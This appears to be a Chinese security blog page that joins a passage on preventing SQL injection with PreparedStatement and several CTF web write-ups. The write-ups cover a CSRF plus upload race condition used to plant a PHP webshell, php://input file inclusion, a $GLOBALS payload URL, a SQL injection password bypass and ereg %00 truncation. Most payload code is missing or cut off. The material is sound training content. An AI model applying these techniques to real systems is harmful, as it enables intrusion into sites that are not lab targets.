容易发生sql注入 低,每一次编译 不容易

 

如何使用PreparedStatement

1:字符串追加形式的PreparedStatement

2:使用参数化查询的PreparedStatement


使用PreparedStatement的参数化的查询可以阻止大部分的SQL注入。在使用参数化查询的情况下,数据库系统(eg:MySQL)不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。

对于刚才的例子,可以看到它使用的是第一种方式这样其实就跟使用了Statement一样,这样的优点是代码少打几行可是代价也是很高的。如果我们改成第二种,PreparedStatement会对’进行转义,sql将其作为一个参数一个字段的属性值来处理,从而使得注入攻击失败

简单来说预编译会给你外面加引号并且过滤特殊字符

 

补充:避免SQL注入的第二种方式:
在组合SQL字符串的时候,先对所传入的参数做字符取代(将单引号字符取代为连续2个单引号字符,因为连续2个单引号字符在SQL数据库中会视为字符中的一个单引号字符。)

可以看出使用拼凑字符追加型的sql生成形式能更方便灵活的自定义控制sql语句,但如果没有进行有效的过滤很容易造成sql注入,所以建议使用参数化查询的PreparedStatement,用PreparedStatement代替Statement。

【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。


参考:

http://www.importnew.com/5006.html

http://blog.csdn.net/changyinling520/article/details/71159652

http://blog.csdn.net/daijin888888/article/details/50965232

安恒杯一月赛部分题目writeup

首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

阅读剩余部分 –

百度杯ctf二月场几道web题 writeup

include

比较经典的文件包含题,记录一下

首先看phpinfo里allow_url_include为On

所以可以使用php://input包含执行命令

 

 

关键文件在dle345aae.php

配合

读取源码

爆破1

这里用到PHP超全局变量

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

 

payload:

http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS

 

爆破2

代码注入一下就ok

看来只有flag.php

然后我们直接输出源码就行

比较坑的是i春秋带了waf…我们改成post再传个值绕过

水过..

程序逻辑问题 writeup

最近准备刷一下实验吧的题,抽空做个小记录

题目连接:http://ctf5.shiyanbar.com/web/5/index.php


题目就是登陆成功用户后获得flag

首先获得php源码

其中

显然可以注入

接着往下看

这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等

因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断

但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过

那就好办了,首先先试出来用户名为username

接下来构造sql语句

密码处填写123 成功拿到flag

ereg函数截断

题目链接:http://ctf5.shiyanbar.com/web/more.php

View the source code:

  1. 绕过ereg匹配正则 符合strpos
  2. password> 9999999 && len<8

 

ereg函数存在NULL截断漏洞,可以%00截断,则不会读取后面的内容,可以绕过输入*-*

大小和长度限制可以利用科学计数法

 

最后的payload

1e8即100000000 > 9999999

%00在计算长度时算一个字节